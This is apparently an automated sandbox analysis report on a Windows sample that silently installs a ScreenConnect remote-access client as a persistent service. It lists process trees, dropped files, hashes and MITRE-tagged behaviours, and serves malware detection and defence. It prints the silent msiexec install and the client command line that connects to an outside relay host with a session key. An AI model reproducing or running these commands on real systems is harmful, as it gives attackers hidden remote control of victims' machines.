Analysis

  • max time kernel
    150s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/11/2026, 06:14

General

  • Target
    2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
  • Size 4.2MB
  • Sample261102-gzmp8sec48
  • SHA256 96f512bcf7616a44963fae71dad2951b7c6702b2617b03a09843a106d1e05db8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 2 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 26 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 30 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5752
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart /L*v "C:\Windows\Temp\sc_msi_install_9ae8fe0e.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:4560
  • C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    C:\Users\Admin\AppData\Local\Temp\2026-11-01_de96c8df2ee43e72ed7e1dd98e23252d_amadey_darkgate_glassworm_luca-stealer_njrat_ransomhub_remcos_smoke-loader.exe
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4252
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /i "C:\Windows\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart /L*v "C:\Windows\Temp\sc_msi_install_cdc19014.log"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1052
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 6EF2ADCF69597D486D9DC4C38FA493E0
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:996
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI4E17.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240733875 5 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4984
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BB057335CB8E856FB67B694C929306F1 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:6008
  • C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe
    C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=e.e404.us&p=8443&s=c7c9ad57-3e97-4b95-b1a9-d8a7913a8e3a&k=BgIAAACkAABSU0ExAAgAAAEAAQBlCtVR0AYLEb6%2fCgxHzUrwkl9hYE0NCf5n4anURTNyEHTETAsD4gvWBnBPXza3qENHB6BJZxU%2bruxiJd2A7TFX8%2bSyVOokbXtxtapWUD6g0i5Xdt%2frgWuzNPu%2fZLmOjxO00ZunL%2flkNEFD3zdXA4fHyfjIh%2fC9GfU1vtBVx7yguTtlYiNwyejOIv9Ok3eO4iTFNi9t3WE03O3XKlbzA6Zn9ma7Kujvh0ixg9j9SuWIKeJ502lrdBb%2bbpPTMYmNqxnbn0Ljyice2yYNAc%2bGmBjDl7TVO%2bhGmMREvwGijIGeFHCIkYti9tyIqPaDzRx22wePJmqF5jJ8EXbHZsyXxRqw"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4288
    • C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
      "C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe" "RunRole" "7f80e22c-cc74-4389-b588-5712289027e4" "User"
      2⤵
      • Executes dropped EXE
      PID:2008
    • C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
      "C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe" "RunRole" "43c883a2-5858-4c39-a55f-e72dacb8ea2f" "System"
      2⤵
      • Executes dropped EXE
      • Reads the TCP/IP host and domain name from the registry
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5500

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e594a60.rbs

        • Path C:\Config.Msi\e594a60.rbs
        • Size 214KB
        • SHA256 c874bf0b96d815e9244d55e8c274081119cb5bcee81ac638208c14850c3560b3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.Override.en-US.resources
        • Size 278B
        • SHA256 f00b98bb2ecbf018ed20909993bf2bd9f01cbe45bafca9a48ee002ae364d8185
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.Override.resources
        • Size 27KB
        • SHA256 c3af7f4841897ac823ac920dd1de94c68e16747fe0fe483b97cd3f13ab072574
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\ProgramData\E404RemoteSupport\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsBackstageShell.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsBackstageShell.exe
        • Size 59KB
        • SHA256 46589e65a4e87dd3ab967e17238bb1102d74e5cf52078b43ca795a67c75ed6d6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsClient.exe
        • Size 580KB
        • SHA256 54122da1882621af349267b06905b256c1a0b1f571a0e8835ec4b8acc35809a2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsFileManager.exe

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsFileManager.exe
        • Size 79KB
        • SHA256 41d9790fa15264d6bb65ef678f6418526e8137ce96bb42e65c6f3a03a8edc360
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsFileManager.exe.config

        • Path C:\ProgramData\E404RemoteSupport\ScreenConnect.WindowsFileManager.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        Tippikk.TransferGuard.dll

        • Path C:\ProgramData\E404RemoteSupport\Tippikk.TransferGuard.dll
        • Size 6KB
        • SHA256 46f563002654f6e064a4680bf82fe21de3812b723a42cec21207d669f395178f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\ProgramData\E404RemoteSupport\app.config
        • Size 2KB
        • SHA256 08654ed703d6ec78087da75ed3eb405ef065e4d26f925fda6595b7d5e79986e2
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\ProgramData\E404RemoteSupport\system.config
        • Size 528B
        • SHA256 3fd61c797ef50eeee7d95d82a9451d455c1140d166379af9a30a3284aa0a1cd2
        • MD5 SHA1 SHA512 TLSH

        MSI4C61.tmp

        • Path C:\Windows\Installer\MSI4C61.tmp
        • Size 325KB
        • SHA256 5cb8886d7405e750a5ab02bcc31c7766db87bb0754bc8adb34485ae50e82e234
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI4E17.tmp

        • Path C:\Windows\Installer\MSI4E17.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI4E17.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI4E17.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI4E17.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI4E17.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI53F5.tmp

        • Path C:\Windows\Installer\MSI53F5.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Windows\Temp\ScreenConnect.ClientSetup.msi
        • Size 3.8MB
        • SHA256 25e9e8681ed60173456fc86e90a88f7e6ec0e9a1ba8e45f1878d9030464e2bd2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sc_msi_install_9ae8fe0e.log

        • Path C:\Windows\Temp\sc_msi_install_9ae8fe0e.log
        • Size 1KB
        • SHA256 1fde729ad6ca197eb73d8e04b98c3490d1d295e09be3248ac42137950ab175dd
        • MD5 SHA1 SHA512 TLSH

        sc_msi_install_cdc19014.log

        • Path C:\Windows\Temp\sc_msi_install_cdc19014.log
        • Size 4KB
        • SHA256 a126ce647782817d58cac0de149290f2e7f24468da8ddbe8afe50a2359f5ab5b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        uhssvc_install_9ae8fe0e.log

        • Path C:\Windows\Temp\uhssvc_install_9ae8fe0e.log
        • Size 1024B
        • SHA256 c37198de2c50516fdcec12ab0664f3128d56e3fa5b3910e6f8ed7b0f8fdcb4f4
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_9ae8fe0e.log

        • Path C:\Windows\Temp\uhssvc_install_9ae8fe0e.log
        • Size 1KB
        • SHA256 9fd8cb10028590821ba4f48a61591e8d12fd092011cc3be13232e832737e3570
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_9ae8fe0e.log

        • Path C:\Windows\Temp\uhssvc_install_9ae8fe0e.log
        • Size 615B
        • SHA256 314b459991aca8d0c7ecd5ab0768c1167f7c3e82b61c31e03300d129294531e8
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_cdc19014.log

        • Path C:\Windows\Temp\uhssvc_install_cdc19014.log
        • Size 1KB
        • SHA256 6f84bc487a7ce13a09237aa0a99015a0b82b38ac20ed94dda2b0d84fb4766f15
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_cdc19014.log

        • Path C:\Windows\Temp\uhssvc_install_cdc19014.log
        • Size 615B
        • SHA256 c06af8bd9f089840e6d86714ac6d68200d9d4429ab5c5eb042ecd20938a979b1
        • MD5 SHA1 SHA512 TLSH

        uhssvc_install_cdc19014.log

        • Path C:\Windows\Temp\uhssvc_install_cdc19014.log
        • Size 861B
        • SHA256 2b79a96171b0ec1baca615574ae08a76ec441843d28464518b12295d7a2853ed
        • MD5 SHA1 SHA512 TLSH

        memory/2008-219-0x0000000002210000-0x0000000002228000-memory.dmp

        memory/2008-220-0x00000000022A0000-0x00000000022B8000-memory.dmp

        memory/2008-222-0x000000001B270000-0x000000001B278000-memory.dmp

        memory/2008-218-0x000000001B490000-0x000000001B618000-memory.dmp

        memory/2008-217-0x000000001B2E0000-0x000000001B48C000-memory.dmp

        memory/2008-216-0x000000001B0A0000-0x000000001B12E000-memory.dmp

        memory/2008-215-0x0000000002260000-0x0000000002296000-memory.dmp

        memory/2008-214-0x0000000000060000-0x00000000000F8000-memory.dmp

        memory/4252-173-0x00007FF622850000-0x00007FF622C8E000-memory.dmp

        memory/4288-188-0x00000000048E0000-0x0000000004972000-memory.dmp

        memory/4288-190-0x0000000004AD0000-0x0000000004BA5000-memory.dmp

        memory/4288-191-0x0000000004590000-0x0000000004598000-memory.dmp

        memory/4288-189-0x0000000004640000-0x0000000004681000-memory.dmp

        memory/4288-154-0x0000000004350000-0x0000000004368000-memory.dmp

        memory/4288-185-0x0000000004600000-0x0000000004636000-memory.dmp

        memory/4288-178-0x00000000045B0000-0x0000000004600000-memory.dmp

        memory/4984-84-0x0000000006750000-0x0000000006D0A000-memory.dmp

        memory/4984-79-0x0000000005DA0000-0x0000000005E2E000-memory.dmp

        memory/4984-83-0x0000000005FE0000-0x000000000618C000-memory.dmp

        memory/4984-71-0x0000000005CD0000-0x0000000005CFE000-memory.dmp

        memory/4984-75-0x0000000005D00000-0x0000000005D0A000-memory.dmp

        memory/5752-209-0x00007FF622850000-0x00007FF622C8E000-memory.dmp